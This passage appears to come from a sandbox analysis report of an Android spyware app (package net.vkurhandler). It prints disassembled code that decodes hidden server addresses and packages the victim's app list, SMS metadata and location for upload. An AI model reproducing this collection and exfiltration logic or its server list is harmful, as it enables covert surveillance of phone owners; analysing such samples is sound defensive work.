                    • android.database.sqlite.SQLiteDatabase.execSQL
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    Strings
                    • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    • LocationService
                    • updateItemLocationInDatabase,jsonLoc:
                    • update
                    • history
                    • set
                    • location
                    • =null
                    • ,
                    • temp_location_item_id
                    • =null
                    • where (
                    • )
                    • =\'
                    • \'
                    • OR
                    Position Instruction Meta Information
                    0const/4 v1, 0x1
                    1const/4 v2, 0x0
                    2try_start_2:
                    3invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    4move-result-object v0
                    6invoke-virtual {v0}, Lnet/vkurhandler/ao;->b()Landroid/database/sqlite/SQLiteDatabase;
                    7move-result-object v4
                    9iget-object v0, p0, Lnet/vkurhandler/bh;->a:Landroid/content/Context;
                    11invoke-static {v0, p1}, Lnet/vkurhandler/bf;->a(Landroid/content/Context;Landroid/location/Location;)Lnet/vkurhandler/be;
                    12move-result-object v0
                    14invoke-virtual {v0}, Lnet/vkurhandler/be;->e()Ljava/lang/String;
                    • Time: 1410665
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • {"speed":"0","lat":"54.13","accuracy":"0","type":"1","lng":"12.14"}
                    15move-result-object v0
                    17invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    18move-result v3
                    19if-eqz v3, :cond_2a
                    21const-string v3, "LocationService"
                    22const/4 v5, 0x2
                    23new-array v5, v5, [Ljava/lang/String;
                    24const/4 v6, 0x0
                    26const-string v7, "updateItemLocationInDatabase,jsonLoc:"
                    27aput-object v7, v5, v6
                    28const/4 v6, 0x1
                    29aput-object v0, v5, v6
                    31invoke-static {v3, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    32cond_2a: new-instance v5, Ljava/lang/StringBuilder;
                    34invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
                    36const-string v3, "update "
                    38invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    39move-result-object v3
                    41const-string v6, "history"
                    43invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    44move-result-object v3
                    46const-string v6, " set "
                    48invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    49move-result-object v3
                    51const-string v6, "location"
                    53invoke-virtual {v3, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    55invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    56move-result v3
                    57if-eqz v3, :cond_7d
                    59const-string v0, "=null"
                    61invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    62goto_51:
                    63const-string v0, ","
                    65invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    67const-string v0, "temp_location_item_id"
                    69invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    71const-string v0, "=null "
                    73invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    75const-string v0, " where ("
                    77invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    78move v3, v2
                    79goto_66: array-length v0, p2
                    80if-lt v3, v0, :cond_9b
                    82const-string v0, ")"
                    84invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    86invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    87move-result-object v0
                    89invoke-virtual {v4, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
                    90try_end_75:
                    91invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    92move-result-object v0
                    94invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    95goto_7c: return-void
                    96cond_7d:
                    97const-string v3, "=\'"
                    99invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    100move-result-object v3
                    102invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    103move-result-object v0
                    105const-string v3, "\'"
                    107invoke-virtual {v0, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    108try_end_8c: goto/16 :goto_51
                    109catch_8d: move-exception v0
                    110try_start_8e:
                    111const-string v1, "LocationService"
                    113invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    114try_end_93:
                    115invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    116move-result-object v0
                    118invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    119goto/16 :goto_7c
                    120cond_9b:
                    121const-string v0, "temp_location_item_id"
                    123invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    124move-result-object v0
                    126const-string v6, "=\'"
                    128invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    129move-result-object v0
                    130aget-object v6, p2, v3
                    132invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    133move-result-object v0
                    135const-string v6, "\'"
                    137invoke-virtual {v0, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    138array-length v0, p2
                    139add-int/lit8 v0, v0, -0x1
                    140if-ne v3, v0, :cond_c3
                    141move v0, v1
                    142goto_b8: if-nez v0, :cond_bf
                    144const-string v0, " OR "
                    146invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    147try_end_bf: add-int/lit8 v0, v3, 0x1
                    148move v3, v0
                    149goto/16 :goto_66
                    150cond_c3: move v0, v2
                    151goto/16 :goto_b8
                    152catchall_c5: move-exception v0
                    154invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    155move-result-object v1
                    157invoke-virtual {v1}, Lnet/vkurhandler/ao;->c()V
                    158throw v0
                    APIs
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    • java.lang.String.<init>
                    Strings
                    • cmVwdGlsaWN1cy5uZXQ=
                    • reptilicus.net
                    • ZGF0YS5yZXB0aWxpY3VzLm5ldA==
                    • data.reptilicus.net
                    • MTc2LjkuNDIuMTY=
                    • 176.9.42.16
                    • cHJveHkucmVwdGlsaWN1cy5uZXQ=
                    • proxy.reptilicus.net
                    • cnAuYXBvbGxvc3B5LmNvbQ==
                    • rp.apollospy.com
                    • cnAuZGVkcm9uZS5jb20udWE=
                    • rp.dedrone.com.ua
                    • cnAubGlxdWlkYmx1ZS5jb20udWE=
                    • rp.liquidblue.com.ua
                    • cnAubGFicmFkb3IudWE=
                    • rp.labrador.ua
                    • ZGV2LnJlcHRpbGljdXMubmV0
                    • dev.reptilicus.net
                    • ZGV2LnZrdXIuc2U=
                    • dev.vkur.se
                    • ZGV2Lmdwcy1tb25pdG9yLnV6
                    • dev.gps-monitor.uz
                    • ZGV2LnBob25lY29udG9sYXBwLmNvbQ==
                    • dev.phonecontolapp.com
                    • L2JhY2tlbmQvbmV3L3JwLnBocA==
                    • /backend/new/rp.php
                    Position Instruction Meta Information
                    0const/4 v8, 0x4
                    1const/4 v7, 0x3
                    2const/4 v6, 0x1
                    3const/4 v5, 0x0
                    4const/4 v4, 0x2
                    5const/16 v0, 0x8
                    6new-array v0, v0, [Ljava/lang/String;
                    7new-instance v1, Ljava/lang/String;
                    9const-string v2, "cmVwdGlsaWN1cy5uZXQ="
                    11invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    12move-result-object v2
                    14invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274399
                      • This:
                        • reptilicus.net
                      • p0: [B@74de3f
                      • p0: reptilicus.net
                      • p0: 72657074696C696375732E6E6574
                      • Return:
                        • reptilicus.net
                    15aput-object v1, v0, v5
                    16new-instance v1, Ljava/lang/String;
                    18const-string v2, "ZGF0YS5yZXB0aWxpY3VzLm5ldA=="
                    20invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    21move-result-object v2
                    23invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274504
                      • This:
                        • data.reptilicus.net
                      • p0: [B@19e8e6a
                      • p0: data.reptilicus.net
                      • p0: 646174612E72657074696C696375732E6E6574
                      • Return:
                        • data.reptilicus.net
                    24aput-object v1, v0, v6
                    25new-instance v1, Ljava/lang/String;
                    27const-string v2, "MTc2LjkuNDIuMTY="
                    29invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    30move-result-object v2
                    32invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274543
                      • This:
                        • 176.9.42.16
                      • p0: [B@2a443f8
                      • p0: 176.9.42.16
                      • p0: 3137362E392E34322E3136
                      • Return:
                        • 176.9.42.16
                    33aput-object v1, v0, v4
                    34new-instance v1, Ljava/lang/String;
                    36const-string v2, "cHJveHkucmVwdGlsaWN1cy5uZXQ="
                    38invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    39move-result-object v2
                    41invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274574
                      • This:
                        • proxy.reptilicus.net
                      • p0: [B@d0f2736
                      • p0: proxy.reptilicus.net
                      • p0: 70726F78792E72657074696C696375732E6E6574
                      • Return:
                        • proxy.reptilicus.net
                    42aput-object v1, v0, v7
                    43new-instance v1, Ljava/lang/String;
                    45const-string v2, "cnAuYXBvbGxvc3B5LmNvbQ=="
                    47invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    48move-result-object v2
                    50invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274604
                      • This:
                        • rp.apollospy.com
                      • p0: [B@8d5a7a4
                      • p0: rp.apollospy.com
                      • p0: 72702E61706F6C6C6F7370792E636F6D
                      • Return:
                        • rp.apollospy.com
                    51aput-object v1, v0, v8
                    52const/4 v1, 0x5
                    53new-instance v2, Ljava/lang/String;
                    55const-string v3, "cnAuZGVkcm9uZS5jb20udWE="
                    57invoke-static {v3, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    58move-result-object v3
                    60invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274616
                      • This:
                        • rp.dedrone.com.ua
                      • p0: [B@81e80c2
                      • p0: rp.dedrone.com.ua
                      • p0: 72702E646564726F6E652E636F6D2E7561
                      • Return:
                        • rp.dedrone.com.ua
                    61aput-object v2, v0, v1
                    62const/4 v1, 0x6
                    63new-instance v2, Ljava/lang/String;
                    65const-string v3, "cnAubGlxdWlkYmx1ZS5jb20udWE="
                    67invoke-static {v3, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    68move-result-object v3
                    70invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274632
                      • This:
                        • rp.liquidblue.com.ua
                      • p0: [B@979a10
                      • p0: rp.liquidblue.com.ua
                      • p0: 72702E6C6971756964626C75652E636F6D2E7561
                      • Return:
                        • rp.liquidblue.com.ua
                    71aput-object v2, v0, v1
                    72const/4 v1, 0x7
                    73new-instance v2, Ljava/lang/String;
                    75const-string v3, "cnAubGFicmFkb3IudWE="
                    77invoke-static {v3, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    78move-result-object v3
                    80invoke-direct {v2, v3}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274638
                      • This:
                        • rp.labrador.ua
                      • p0: [B@2d7e70e
                      • p0: rp.labrador.ua
                      • p0: 72702E6C61627261646F722E7561
                      • Return:
                        • rp.labrador.ua
                    81aput-object v2, v0, v1
                    82sput-object v0, Lnet/vkurhandler/dc;->a:[Ljava/lang/String;
                    83new-array v0, v8, [Ljava/lang/String;
                    84new-instance v1, Ljava/lang/String;
                    86const-string v2, "ZGV2LnJlcHRpbGljdXMubmV0"
                    88invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    89move-result-object v2
                    91invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274643
                      • This:
                        • dev.reptilicus.net
                      • p0: [B@244473c
                      • p0: dev.reptilicus.net
                      • p0: 6465762E72657074696C696375732E6E6574
                      • Return:
                        • dev.reptilicus.net
                    92aput-object v1, v0, v5
                    93new-instance v1, Ljava/lang/String;
                    95const-string v2, "ZGV2LnZrdXIuc2U="
                    97invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    98move-result-object v2
                    100invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274653
                      • This:
                        • dev.vkur.se
                      • p0: [B@af661a
                      • p0: dev.vkur.se
                      • p0: 6465762E766B75722E7365
                      • Return:
                        • dev.vkur.se
                    101aput-object v1, v0, v6
                    102new-instance v1, Ljava/lang/String;
                    104const-string v2, "ZGV2Lmdwcy1tb25pdG9yLnV6"
                    106invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    107move-result-object v2
                    109invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274661
                      • This:
                        • dev.gps-monitor.uz
                      • p0: [B@fac9b28
                      • p0: dev.gps-monitor.uz
                      • p0: 6465762E6770732D6D6F6E69746F722E757A
                      • Return:
                        • dev.gps-monitor.uz
                    110aput-object v1, v0, v4
                    111new-instance v1, Ljava/lang/String;
                    113const-string v2, "ZGV2LnBob25lY29udG9sYXBwLmNvbQ=="
                    115invoke-static {v2, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    116move-result-object v2
                    118invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274669
                      • This:
                        • dev.phonecontolapp.com
                      • p0: [B@64dc9e6
                      • p0: dev.phonecontolapp.com
                      • p0: 6465762E70686F6E65636F6E746F6C6170702E636F6D
                      • Return:
                        • dev.phonecontolapp.com
                    119aput-object v1, v0, v7
                    120sput-object v0, Lnet/vkurhandler/dc;->b:[Ljava/lang/String;
                    121new-instance v0, Ljava/lang/String;
                    123const-string v1, "L2JhY2tlbmQvbmV3L3JwLnBocA=="
                    125invoke-static {v1, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    126move-result-object v1
                    128invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1274673
                      • This:
                        • /backend/new/rp.php
                      • p0: [B@4c441d4
                      • p0: /backend/new/rp.php
                      • p0: 2F6261636B656E642F6E65772F72702E706870
                      • Return:
                        • /backend/new/rp.php
                    129sput-object v0, Lnet/vkurhandler/dc;->c:Ljava/lang/String;
                    130return-void
                    Cross References
                    APIs
                    • android.content.ContentValues.<init>
                    • android.content.ContentValues.put
                    • java.lang.Integer.valueOf
                    • android.content.ContentValues.put
                    • android.content.ContentValues.put
                    • android.content.ContentValues.put
                    • android.text.TextUtils.isEmpty
                    • android.content.ContentValues.put
                    • android.database.sqlite.SQLiteDatabase.insert
                    Strings
                    • module
                    • device
                    • action
                    • send_data
                    • ItemHelper
                    • k:charger,v:true;k:sub_type,v:2;k:bat_level,v:100;k:action,v:send_data;k:name,v:;k:date,v:2018-08-31 12:41:18;k:sms_type,v:1;k:module,v:device;k:message,v:null;k:type,v:1;k:phone_number,v:;
                    • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                    • data
                    • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • data_type
                    • type
                    • data_sub_type
                    • sub_type
                    • location
                    • temp_location_item_id
                    • history
                    Position Instruction Meta Information
                    0try_start_0:
                    1const-string v0, "module"
                    3const-string v1, "device"
                    5invoke-virtual {p0, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    7const-string v0, "action"
                    9const-string v1, "send_data"
                    11invoke-virtual {p0, v0, v1}, Lnet/vkurhandler/be;->a(Ljava/lang/String;Ljava/lang/String;)V
                    13invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    14move-result v0
                    15if-eqz v0, :cond_1d
                    17const-string v0, "ItemHelper"
                    19invoke-virtual {p0}, Lnet/vkurhandler/be;->toString()Ljava/lang/String;
                    • Time: 1276304
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                    • Time: 1402474
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • k:charger,v:true;k:sub_type,v:2;k:bat_level,v:100;k:action,v:send_data;k:name,v:;k:date,v:2018-08-31 12:41:18;k:sms_type,v:1;k:module,v:device;k:message,v:null;k:type,v:1;k:phone_number,v:;
                    20move-result-object v1
                    22invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    23cond_1d:
                    24invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    25move-result-object v0
                    27invoke-virtual {v0}, Lnet/vkurhandler/ao;->b()Landroid/database/sqlite/SQLiteDatabase;
                    28move-result-object v0
                    29new-instance v1, Landroid/content/ContentValues;
                    31invoke-direct {v1}, Landroid/content/ContentValues;-><init>()V
                    33const-string v2, "data"
                    35invoke-virtual {p0}, Lnet/vkurhandler/be;->e()Ljava/lang/String;
                    • Time: 1276342
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • {"command_id":"0","command":"app_list","action":"send_data","response_base64_zipped":"true","module":"device","type":"3","response":"eJyFU8lOwzAQ\/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj\/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI\/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc\/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd\/M\/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj\/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql\/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++\/gDb6cBp"}
                    • Time: 1402512
                      • This:
                        • k:command_id,v:0;k:command,v:app_list;k:action,v:send_data;k:response_base64_zipped,v:true;k:module,v:device;k:type,v:3;k:response,v:eJyFU8lOwzAQ/ZUo58oHkBDihqBwAlVNOSCE0MQeUhPbY7xULaj/TtqQijohPdp+29jPL985WPtmQGN+lT9TXMQS80lu66rb5KRZRVQpZGCEIynYhmLY4baTI/q8KLI5gkDXV8A1aPtHwnnvWmgicr+3yq6tPRmjXX5GyWuP4PiypHUqdwNKlg6CJHOsR65iX+horaBkMUjFguegUv6dVOj7SboIgnjUaIKPsudMJgAPI2TeIdIr0CDV6en1wKxoBAzc/sGxQyTMRwo4A3H62UwDtA0wdV460gO9Ofi25wlrtiQzQhKySdvvB6hmd/M/rWoB572QxcYH1NmTFRDSihoMbFVHt2xUBkwX6LQ0oLKpjgoCJewP4LUF1UVo1HtvU2AI0lQjbfAdIvUGX5dDj/oOTqMrSxZaRKe0vrxINR6il7yvwDdgqEKjSTBUuEIzUCk+NHFSql/MWUqfDje5Y+L+OLVUxOuRVqCv+R6S8G5xlS2I1NhvbUZUZHcfNt++/gDb6cBp;
                      • Return:
                        • {"charger":"true","sub_type":"2","bat_level":"100","action":"send_data","name":"","date":"2018-08-31 12:41:18","sms_type":"1","module":"device","message":"null","type":"1","phone_number":""}
                    36move-result-object v3
                    38invoke-virtual {v1, v2, v3}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    40const-string v2, "data_type"
                    42const-string v3, "type"
                    44invoke-virtual {p0, v3}, Lnet/vkurhandler/be;->b(Ljava/lang/String;)I
                    45move-result v3
                    47invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                    48move-result-object v3
                    50invoke-virtual {v1, v2, v3}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/Integer;)V
                    52const-string v2, "data_sub_type"
                    54const-string v3, "sub_type"
                    56invoke-virtual {p0, v3}, Lnet/vkurhandler/be;->a(Ljava/lang/String;)Ljava/lang/String;
                    57move-result-object v3
                    59invoke-virtual {v1, v2, v3}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    60if-eqz p1, :cond_58
                    62const-string v2, "location"
